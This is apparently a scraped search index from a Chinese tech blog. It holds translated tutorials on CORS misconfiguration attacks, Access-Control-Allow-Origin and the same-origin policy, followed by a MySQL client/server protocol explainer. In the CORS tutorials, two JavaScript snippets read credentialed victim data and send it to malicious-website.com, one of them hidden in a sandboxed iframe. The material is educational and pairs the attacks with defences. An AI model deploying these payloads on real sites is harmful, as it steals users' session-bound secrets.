响应头返回。例如,应用程序接受了以下请求: GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=... 然后,其响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true 响应头表明允许从请求域进行访问,并且跨域请求可以包括 cookies(Access-Control-Allow-Credentials: true),因此浏览器将会在会话中进行处理。 由于应用程序在 Access-Control-Allow-Origin 头中直接返回了请求域,这意味着任何域都可以访问资源。如果响应中包含了任何敏感信息,如 API key 或者 CSRF token 则都可以被获取,你可以在你的网站上放置以下脚本进行检索: var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='//malicious-website.com/log?key='+this.responseText; }; ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:1","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"Origin 处理漏洞 某些应用程序使用白名单机制来实现可信来源的访问允许。当收到 CORS 请求时,将请求头中的 origin 与白名单进行比较,如果在白名单中,则在 Access-Control-Allow-Origin 头中返回请求的 origin 以允许其跨域访问。例如,应用程序收到了如下的请求: GET /data HTTP/1.1 Host: normal-website.com ... Origin: https://innocent-website.com 应用程序检查白名单列表,如果 origin 在表中,则响应: HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://innocent-website.com 在实现 CORS origin 白名单时很可能会犯一些失误。某个组织决定允许从其所有子域(包括尚未存在的未来子域)进行访问。应用程序允许从其他组织的域(包括其子域)进行访问。这些规则通常通过匹配 URL 前缀或后缀,或使用正则表达式来实现。实现中的任何失误都可能导致访问权限被授予意外的外部域。 例如,假设应用程序允许以下结尾的所有域的访问权限: normal-website.com 攻击者则可以通过注册以下域来获得访问权限(结尾匹配): hackersnormal-website.com 或者应用程序允许以下开头的所有域的访问权限: normal-website.com 攻击者则可以使用以下域获得访问权限(开头匹配): normal-website.com.evil-user.net ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:2","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"Origin 白名单允许 null 值 浏览器会在以下情况下发送值为 null 的 Origin 头: 跨站点重定向 来自序列化数据的请求 使用 file: 协议的请求 沙盒中的跨域请求 某些应用程序可能会在白名单中允许 null 以方便本地开发。例如,假设应用程序收到了以下跨域请求: GET /sensitive-victim-data Host: vulnerable-website.com Origin: null 服务器响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true 在这种情况下,攻击者可以使用各种技巧生成 Origin 为 null 的请求以通过白名单,从而获得访问权限。例如,可以使用 iframe 沙盒进行跨域请求: \u003ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\" src=\"data:text/html,\u003cscript\u003e var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; \u003c/script\u003e\"\u003e\u003c/iframe\u003e ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:3","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"通过 CORS 信任关系利用 XSS CORS 会在两个域之间建立信任关系,即使 CORS 是正确的配置,但是如果某个受信任的网站存在 XSS 漏洞,那么攻击者就可以利用 XSS 漏洞注入脚本,进而从受信任的网站上获取敏感信息。 假设请求为: GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: https://subdomain.vulnerable-website.com Cookie: sessionid=... 如果服务器响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true 那么攻击者可以通过 subdomain.vulnerable-website.com 网站上的 XSS 漏洞去获取一些敏感数据: https://subdomain.vulnerable-website.com/?xss=\u003cscript\u003ecors-stuff-here\u003c/script\u003e ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:4","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"使用配置有问题的 CORS 中断 TLS 假设一个严格使用 HTTPS 的应用程序也通过白名单信任了一个使用 HTTP 的子域。例如,当应用程序收到以下请求时: GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=... 应用程序响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true 在这种情况下,能够拦截受害者用户流量的攻击者可以利用 CORS 来破坏受害者与应用程序的正常交互。攻击步骤如下: 受害者用户发出任何纯 HTTP 请求。 攻击者将重定向注入到:http://trusted-subdomain.vulnerable-website.com 受害者的浏览器遵循重定向。 攻击者截获纯 HTTP 请求,返回伪造的响应给受害者,并发出恶意的 CORS 请求给:https://vulnerable-website.com 受害者的浏览器发出 CORS 请求,origin 为:http://trusted-subdomain.vulnerable-website.com 应用程序允许请求,因为这是一个白名单域,请求的敏感数据在响应中返回。 攻击者的欺骗页面可以读取敏感数据并将其传输到攻击者控制下的任何域。 即使易受攻击的网站对 HTTPS 的使用没有漏洞,并且没有 HTTP 端点,同时所有 Cookie 都标记为安全,此攻击也是有效的。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:5","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"内网和无凭证的 CORS 大部分 CORS 攻击都需要以下响应头的存在: Access-Control-Allow-Credentials: true 没有这个响应头,受害者的浏览器将不会发送 cookies ,这意味着攻击者只能访问无需用户验证的内容,而这些内容直接访问目标网站就可以轻松获得。 然而,有一种情况下攻击者无法直接访问网站:网站是内网,并且是私有 IP 地址空间。内网的安全标准通常低于外网,这使得攻击者发现漏洞后可以获得进一步的访问权限。例如,某个私有网络中的跨域请求: GET /reader?url=doc1.pdf Host: intranet.normal-website.com Origin: https://normal-website.com 服务器响应: HTTP/1.1 200 OK Access-Control-Allow-Origin: * 服务器信任所有来源的跨域请求,而且无需凭证。如果私有IP地址空间内的用户访问公共互联网,则可以从外部站点执行基于 CORS 的攻击,该站点使用受害者的浏览器作为访问内网资源的代理。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:6","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"如何防护基于 CORS 的攻击 CORS 漏洞主要是由于错误的配置而产生的,因此防护措施主要也是如何进行正确配置的问题。下面将会描述一些有效的方法。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"跨域请求的正确配置 如果 web 资源包含敏感信息,那么应该在 Access-Control-Allow-Origin 头中声明允许的来源。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:1","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"只允许受信任的站点 Access-Control-Allow-Origin 头只能是受信任的站点。Access-Control-Allow-Origin 直接使用跨域请求的 origin 而不验证是很容易被利用的,应该避免。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:2","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"白名单中避免 null 避免 Access-Control-Allow-Origin: null 。来自内部文档和沙盒请求的跨域资源调用可以指定 origin 为 null 的。CORS 头应该根据私有和公共服务器的可信来源正确定义。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:3","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"避免在内部网络中使用通配符 避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅仅依靠网络配置来保护内部资源是不够的。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:4","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"CORS 不是服务端安全策略的替代品 CORS 定义的只是浏览器行为,永远不能替代服务端对敏感数据的保护,毕竟攻击者可以直接在其它环境中伪造来自任何 origin 的请求。因此,除了正确配置的 CORS 之外,web 服务端仍然需要使用诸如身份验证和会话管理等措施对敏感数据进行保护。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:5:5","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"CORS 和 Access-Control-Allow-Origin 响应头","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"CORS 和 Access-Control-Allow-Origin 响应头 在本节中,我们将解释有关 CORS 的 Access-Control-Allow-Origin 响应头,以及后者如何构成 CORS 实现的一部分。 CORS 通过使用一组 HTTP 头部提供了同源策略的可控制放宽,浏览器允许访问基于这些头部的跨域请求的响应。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:0:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"什么是 Access-Control-Allow-Origin 响应头? Access-Control-Allow-Origin 响应头标识了跨域请求允许的请求来源,浏览器会将 Access-Control-Allow-Origin 与请求网站 origin 进行比较,如果两者匹配则允许访问响应。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:1:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"实现简单的 CORS CORS 规范规定了 web 服务器和浏览器之间交换的头内容,其中 Access-Control-Allow-Origin 是最重要的。当网站发起跨域资源请求时,浏览器将会自动添加 Origin 头,随后服务器返回 Access-Control-Allow-Origin 响应头。 例如,origin 为 normal-website.com 的网站发起了如下跨域请求: GET /data HTTP/1.1 Host: robust-website.com Origin : https://normal-website.com 服务器响应: HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com 浏览器将会允许 normal-website.com 网站代码访问响应,因为 Access-Control-Allow-Origin 与 Origin 匹配。 Access-Control-Allow-Origin 允许多个域,或者 null ,或者通配符 * 。但是没有浏览器支持多个 origin ,且通配符的使用有限制。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:2:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"带凭证的跨域资源请求 跨域资源请求的默认行为是传递请求时不会携带如 cookies 和 Authorization 头等凭证的。然而,对于带凭证的跨域请求,服务器通过设置 Access-Control-Allow-Credentials: true 响应头可以允许浏览器读取响应。例如,某个网站使用 JavaScript 去控制发起请求时一起发送 cookies : GET /data HTTP/1.1 Host: robust-website.com ... Origin: https://normal-website.com Cookie: JSESSIONID=\u003cvalue\u003e 得到的响应为: HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Credentials: true 那么浏览器将会允许发起请求的网站读取响应,因为 Access-Control-Allow-Credentials 设置为了 true。否则,浏览器将不允许访问响应。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:3:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"使用通配符放宽 CORS Access-Control-Allow-Origin 头支持使用通配符 * ,如 Access-Control-Allow-Origin: * 注意:通配符不能与其他值一起使用,如下方式是非法的: Access-Control-Allow-Origin: https://*.normal-website.com 幸运的是,基于安全考虑,通配符的使用是有限制的,你不能同时使用通配符与带凭证的跨域传输。因此,以下形式的服务器响应是不允许的: Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true 因为这是非常危险的,这等于向所有人公开目标网站上所有经过身份验证的内容。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:4:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"预检 为了保护遗留资源不受 CORS 允许的扩展请求的影响,预检也是 CORS 规范中的一部分。在某些情况下,当跨域请求包括非标准的 HTTP method 或 header 时,在进行跨域请求之前,浏览器会先发起一次 method 为 OPTIONS 的请求,并且对服务端响应的 Access-Control-* 之类的头进行初步检查,对比 origin、method 和 header 等等,这就叫预检。 例如,对使用 PUT 方法和 Special-Request-Header 自定义请求头的预检请求为: OPTIONS /data HTTP/1.1 Host: \u003csome website\u003e ... Origin: https://normal-website.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Special-Request-Header 服务器可能响应: HTTP/1.1 204 No Content ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Methods: PUT, POST, OPTIONS Access-Control-Allow-Headers: Special-Request-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240 这个响应的含义: Access-Control-Allow-Origin 允许的请求域。 Access-Control-Allow-Methods 允许的请求方法。 Access-Control-Allow-Headers 允许的请求头。 Access-Control-Allow-Credentials 允许带凭证的请求。 Access-Control-Max-Age 设置预检响应的最大缓存时间,通过缓存减少预检请求增加的额外的 HTTP 请求往返的开销。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:5:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"CORS 能防止 CSRF 吗? CORS 无法提供对跨站请求伪造(CSRF)攻击的防护,这是一个容易出现误解的地方。 CORS 是对同源策略的受控放宽,因此配置不当的 CORS 实际上可能会增加 CSRF 攻击的可能性或加剧其影响。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/access-control-allow-origin/:6:0","tags":[],"title":"CORS 和 Access-Control-Allow-Origin 响应头","uri":"/translation/web-security/cors/access-control-allow-origin/"},{"categories":["web security"],"content":"Same-origin policy (SOP)","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["web security"],"content":"Same-origin policy (SOP) - 同源策略 在本节中,我们将解释什么是同源策略以及它是如何实现的。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/:0:0","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["web security"],"content":"什么是同源策略? 同源策略是一种旨在防止网站互相攻击的 web 浏览器的安全机制。 同源策略限制一个源上的脚本访问另一个源的数据。 Origin 源由三个部分组成:schema、domain、port ,所谓的同源就是要求这三个部分全部相同。 例如下面这个 URL: http://normal-website.com/example/example.html 其 schema 是 http,domain 是 normal-website.com,port 是 80 。下表显示了如果上述 URL 中的内容尝试访问其它源将会是什么情况: 访问的 URL 是否可以访问 http://normal-website.com/example/ 是,同源 http://normal-website.com/example2/ 是,同源 https://normal-website.com/example/ 否: scheme 和 port 都不同 http://en.normal-website.com/example/ 否: domain 不同 http://www.normal-website.com/example/ 否: domain 不同 http://normal-website.com:8080/example/ 否: port 不同* *IE 浏览器将会允许访问,因为 IE 浏览器在应用同源策略时不考虑端口号。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/:1:0","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["web security"],"content":"为什么同源策略是必要的? 当浏览器从一个源发送 HTTP 请求到另一个源时,与另一个源相关的任何 cookie (包括身份验证会话cookie)也将会作为请求的一部分一起发送。这意味着响应将在用户会话中返回,并包含此特定用户的相关数据。如果没有同源策略,如果你访问了一个恶意网站,它将能够读取你 GMail 中的电子邮件、Facebook 上的私人消息等。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/:2:0","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["web security"],"content":"同源策略是如何实施的? 同源策略通常控制 JavaScript 代码对跨域加载的内容的访问。通常允许页面资源的跨域加载。例如,同源策略允许通过 \u003cimg\u003e 标签嵌入图像,通过 \u003cvideo\u003e 标签嵌入媒体、以及通过 \u003cscript\u003e 标签嵌入 JavaScript 。但是,页面只能加载这些外部资源,页面上的任何 JavaScript 都无法读取这些资源的内容。 同源策略也有一些例外: 有些对象跨域可写入但不可读,例如 location 对象,或者来自 iframes 或新窗口的 location.href 属性。 有些对象跨域可读但不可写,例如 window 对象的 length 属性和 closed 属性。 在 location 对象上可以跨域调用 replace 函数。 你可以跨域调用某些函数。例如,你可以在一个新窗口上调用 close、blur、focus 函数。也可以在 iframes 和新窗口上 postMessage 函数以将消息从一个域发送到另一个域。 由于历史遗留,在处理 cookie 时,同源策略更为宽松,通常可以从站点的所有子域访问它们,即使每个子域并不满足同源的要求。你可以使用 HttpOnly 一定程度缓解这个风险。 使用 document.domain 可以放宽同源策略,这个特殊属性允许放宽特定域的同源策略,但前提是它是 FQDN(fully qualified domain name)的一部分。例如,你有一个域名 marketing.example.com,并且你想读取 example.com 域的内容。为此,两个域都需要设置 document.domain 为 example.com,那么同源策略将会允许这里两个域之间的访问,尽管它们并不同源。在过去,你可以将 document.domain 设置为顶级域名如 com,以允许同一个顶级域名上的任何域之间的访问,但是现代浏览器已经不允许这么做了。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/same-origin-policy/:3:0","tags":[],"title":"Same-origin policy (SOP)","uri":"/translation/web-security/cors/same-origin-policy/"},{"categories":["MySQL"],"content":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication MySQL 客户端与服务器之间的通信基于特定的 TCP 协议,本文将会详解其中的 Connection 和 Replication 部分,这两个部分分别对应的是客户端与服务器建立连接、完成认证鉴权,以及客户端注册成为一个 slave 并获取 master 的 binlog 日志。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:0:0","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Connetcion Phase MySQL 客户端想要与服务器进行通信,第一步就是需要成功建立连接,整个过程如下图所示: client 发起一个 TCP 连接。 server 响应一个 Initial Handshake Packet(初始化握手包),内容会包含一个默认的认证方式。 这一步是可选的,双方建立 SSL 加密连接。 client 回应 Handshake Response Packet,内容需要包括用户名和按照指定方式进行加密后的密码数据。 server 响应 OK_Packet 确认认证成功,或者 ERR_Packet 表示认证失败并关闭连接。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:0","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Packet 一个 Packet 其实就是一个 TCP 包,所有包都有一个最基本的结构: 如上图所示,所有包都可以看作由 header 和 body 两部分构成:第一部分 header 总共有 4 个字节,3 个字节用来标识 body 即 payload 的大小,1 个字节记录 sequence ID;第二部分 body 就是 payload 实际的负载数据。 由于 payload length 只有 3 个字节来记录,所以一个 packet 的 payload 的大小不能超过 2^24 = 16 MB ,示例: Packet : 当数据不超过 16 MB 时,准确来说是 payload 的大小不超过 2^24-1 Byte(三个字节所能表示的最大整数 0xFFFFFF),发送一个 packet 就够了。 当数据大小超过了 16 MB 时,就需要把数据切分成多个 packet 传输。 当数据 payload 的刚好是 2^24-1 Byte 时,一个包虽然足够了,但是为了表示数据传输完毕,仍然会多传一个 payload 为空的 packet 。 Sequence ID:包的序列号,从 0 开始递增。在一个完整的会话过程中,每个包的序列号依次加一,当开始一个新的会话时,序列号重新从 0 开始。例如:在建立连接的阶段,server 发送 Initial Handshake Packet( Sequence ID 为 0 ),client 回应 Handshake Response Packet( Sequence ID 为 1 ),server 再响应 OK_Packet 或者 ERR_Packet( Sequence ID 为 2 ),然后建立连接的阶段就结束了,再有后续的命令数据,包的 Sequence ID 就重新从 0 开始;在命令阶段(client 向 server 发送增删改查这些都属于命令阶段),一个命令的请求和响应就可以看作一个完整的会话过程,比如 client 先向 server 发送了一个查询请求,然后 server 对这个查询请求进行了响应,那么这一次会话就结束了,下一个命令就是新的会话,Sequence ID 也就重新从 0 开始递增。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:1","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Initial Handshake Packet 建立连接时,当客户端发起一个 TCP 连接后,MySQL 服务端就会回应一个 Initial Handshake Packet ,这个初始化握手包的数据格式如下图所示: 这个图从上往下依次是: 1 个字节的整数,表示 handshake protocol 的版本,现在都是 10 。 以 NUL(即一个字节 0x00)结尾的字符串,表示 MySQL 服务器的版本,例如 5.7.18-log 。 4 个字节的整数,表示线程 id,也是这个连接的 id。 8 个字节的字符串,auth-plugin-data-part-1 后续密码加密需要用到的随机数的前 8 位。 1 个字节的填充位。 2 个字节的整数,capability_flags_1 即 Capabilities Flags 的低位 2 位字节。 1 个字节的整数,表示服务器默认的字符编码格式,比如 utf8_general_ci。 2 个字节的整数,服务器的状态标识。 2 个字节的整数,capability_flags_2 即 Capabilities Flags 的高位 2 位字节。 1 个字节的整数,如果服务器具有 CLIENT_PLUGIN_AUTH 的能力(其实就是能够进行客户端身份验证,基本都支持),那么传递的是 auth_plugin_data_len 即加密随机数的长度,否则传递的是 0x00 。 10 个字节的填充位,全部是 0x00 。 由 auth_plugin_data_len 指定长度的字符串,auth-plugin-data-part-2 加密随机数的后 13 位。 如果服务器具有 CLIENT_PLUGIN_AUTH 的能力(其实就是能够进行客户端身份验证,基本都支持),那么传递的是 auth_plugin_name 即用户认证方式的名称。 对于 MySQL 5.x 版本,默认的用户身份认证方式叫做 mysql_native_password(对应上面的 auth_plugin_name),这种认证方式的算法是: SHA1( password ) XOR SHA1( \"20-bytes random data from server\" \u003cconcat\u003e SHA1( SHA1( password ) ) ) 其中加密所需的 20 个字节的随机数就是 auth-plugin-data-part-1( 8 位数)和 auth-plugin-data-part-2( 13 位中的前 12 位数)组成。 注意:MySQL 使用的小端字节序。 看到这,你可能还对 Capabilities Flags 感到很困惑。 Capabilities Flags Capabilities Flags 其实就是一个功能标志,用来表明服务端和客户端支持并希望使用哪些功能。为什么需要这个功能标志?因为首先 MySQL 有众多版本,每个版本可能支持的功能有区别,所以服务端需要表明它支持哪些功能;其次,对服务端来说,连接它的客户端可以是各种各样的,这些客户端希望使用哪些功能也是需要表明的。 Capabilities Flags 一般是 4 个字节的整数: 如上图所示,每个功能都独占一个 bit 位。 Capabilities Flags 通常都是多个功能的组合表示,例如要表示 CLIENT_PROTOCOL_41、CLIENT_PLUGIN_AUTH、CLIENT_SECURE_CONNECTION 这三个功能,那么就把他们对应的 0x00000200、0x00080000、0x00008000 进行比特位或运算就能得到最终的值 0x00088200 也就是最终的 Capabilities Flags。 根据 Capabilities Flags 判断是否支持某个功能,例如 Capabilities Flags 的值是 0x00088200,要判断它是否支持 CLIENT_SECURE_CONNECTION 的功能,则直接进行比特位与运算即可,即 Capabilities Flags \u0026 CLIENT_SECURE_CONNECTION == CLIENT_SECURE_CONNECTION 。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:2","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Handshake Response Packet 建立连接的过程中,当客户端收到了服务端的 Initial Handshake Packet 后,需要向服务端回应一个 Handshake Response Packet ,包的数据格式如下图所示: 依次是: 4 个字节的整数,Capabilities Flags,一定要设置 CLIENT_PROTOCOL_41,对于 MySQL 5.x 版本,使用默认的身份认证方式,还需要对应的设置 CLIENT_PLUGIN_AUTH 和 CLIENT_SECURE_CONNECTION。 4 个字节的整数,包大小的最大值,这里指的是命令包的大小,比如一条 SQL 最多能多大。 1 个字节的整数,字符编码方式。 23 个字节的填充位,全是 0x00。 以 NUL(0x00)结尾的字符串,登录的用户名。 CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA 一般不使用。 1 个字节的整数,auth_response_length,密码加密后的长度。 auth_response_length 指定长度的字符串,密码与随机数加密后的数据。 如果 CLIENT_CONNECT_WITH_DB 直接指定了连接的数据库,则需要传递以 NUL(0x00)结尾的字符串,内容是数据库名。 CLIENT_PLUGIN_AUTH 一般都需要,默认方式需要传递的值就是 mysql_native_password 。 可以看到,Handshake Response Packet 与 Initial Handshake Packet 其实是相对应的。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:3","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"OK_Packet \u0026 ERR_Packet OK_Packet 和 ERR_Packet 是 MySQL 服务端通用的响应包。 MySQL 5.7.5 版本以后,OK_Packet 还包含了 EOF_Packet(用来显示警告和状态信息)。区分 OK_Packet 和 EOF_Packet: OK: header = 0x00 and length of packet \u003e 7 EOF: header = 0xfe and length of packet \u003c 9 MySQL 5.7.5 版本之前,EOF_Packet 是一个单独格式的包: 如果身份认证通过、连接建立成功,返回的 OK_Packet 就会是: 0x07 0x00 0x00 0x02 0x00 0x00 0x00 0x02 0x00 0x00 0x00 如果连接失败,或者出现错误则会返回 ERR_Packet 格式的包: ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:1:4","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Replication 想要获取到 master 的 binlog 吗?只要你对接实现 replication 协议即可。 client 与 server 之间成功建立连接、完成身份认证,这个过程就是上文所述的 connection phase 。 client 向 server 发送 COM_REGISTER_SLAVE 包,表明要注册成为一个 slave ,server 响应 OK_Packet 或者 ERR_Packet,只有成功才能进行后续步骤。 client 向 server 发送 COM_BINLOG_DUMP 包,表明要开始获取 binlog 的内容。 server 响应数据,可能是: binlog network stream( binlog 网络流)。 ERR_Packet,表示有错误发生。 EOF_Packet,如果 COM_BINLOG_DUMP 中的 flags 设置为了 0x01 ,则在 binlog 没有更多新事件时发送 EOF_Packet,而不是阻塞连接继续等待后续 binlog event 。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:2:0","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"COM_REGISTER_SLAVE 客户端向 MySQL 发送 COM_REGISTER_SLAVE ,表明它要注册成为一个 slave,包格式如下图: 除了 1 个字节的固定内容 0x15 和 4 个字节的 server-id ,其他内容通常都是空或者忽略,需要注意的是这里的 user 和 password 并不是登录 MySQL 的用户名和密码,只是 slave 的一种标识而已。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:2:1","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"COM_BINLOG_DUMP 注册成为 slave 之后,发送 COM_BINLOG_DUMP 就可以开始接受 binlog event 了。 1 个字节的整数,固定内容 0x12 。 4 个字节的整数,binlog-pos 即 binlog 文件开始的位置。 2 个字节的整数,flags,一般情况下 slave 会一直保持连接等待接受 binlog event,但是当 flags 设置为了 0x01 时,如果当前 binlog 全部接收完了,则服务端会发送 EOF_Packet 然后结束整个过程,而不是保持连接继续等待后续 binlog event 。 4 个字节的整数,server-id,slave 的身份标识,MySQL 可以同时存在多个 slave ,每个 slave 必须拥有不同的 server-id。 不定长字符串,binlog-filename,开始的 binlog 文件名。查看当前的 binlog 文件名和 pos 位置,可以执行 SQL 语句 show master status ,查看所有的 binlog 文件,可以执行 SQL 语句 show binary logs 。 ","date":"2020-12-20","objectID":"/protocol-connectionreplication/:2:2","tags":["MySQL"],"title":"解读 MySQL Client/Server Protocol: Connection \u0026 Replication","uri":"/protocol-connectionreplication/"},{"categories":["MySQL"],"content":"Binlog Event 客户端注册 slave 成功,并且发送 COM_BINLOG_DUMP 正确,那么 MySQL 就会向客户端发送 binlog network stream 即 binlog 网络流,所谓的 binlog 网络流其实就是源源不断的 binlog event 包(对 MySQL 进行的操作,例如 inset、update、delete 等,在 binlog 中是以一个或多个 binlog event 的形式存在的)。 Replication 的两种方式: 异步,默认方式,master 不断地向 slave 发送 binlog event ,无需 slave 进行 ack 确认。 半同步,master 向 slave 每发送一个 binlog event 都需要等待 ack 确认回复。 Binlog 有三种模式: statement ,binlog 存储的是原始 SQL 语句。 row ,binlog 存储的是每行的实际前后变化。 mixed ,混合模式,binlog 存储的一部分是 SQL 语句,一部分是每行变化。 Binlog Event 的包格式如下图: 每个 Binlog Event 包都有一个确定的 event header ,根据 event 类型的不同,可能还会有 post header 以及 payload 。 Binlog Event 的类型非常多: Binlog Management: START_EVENT_V3 FORMAT_DESCRIPTION_EVENT: MySQL 5.x 及以上版本 binlog 文件中的第一个 event,内容是 binlog 的基本描述信息。 STOP_EVENT ROTATE_EVENT: binlog 文件发生了切换,binlog 文件中的最后一个 event。 SLAVE_EVENT INCIDENT_EVENT HEARTBEAT_EVENT: 心跳信息,表明 slave 落后了 master 多少秒(执行 SQL 语句 SHOW SLAVE STATUS 输出的 Seconds_Behind_Master 字段)。 Statement Based Replication Events(binlog 为 statement 模式时相关的事件): QUERY_EVENT: 原始 SQL 语句,例如 insert、update … 。 INTVAR_EVENT: 基于会话变量的整数,例如把主键设置为了 auto_increment 自增整数,那么进行插入时,这个字段实际写入的值就记录在这个事件中。 RAND_EVENT: 内部 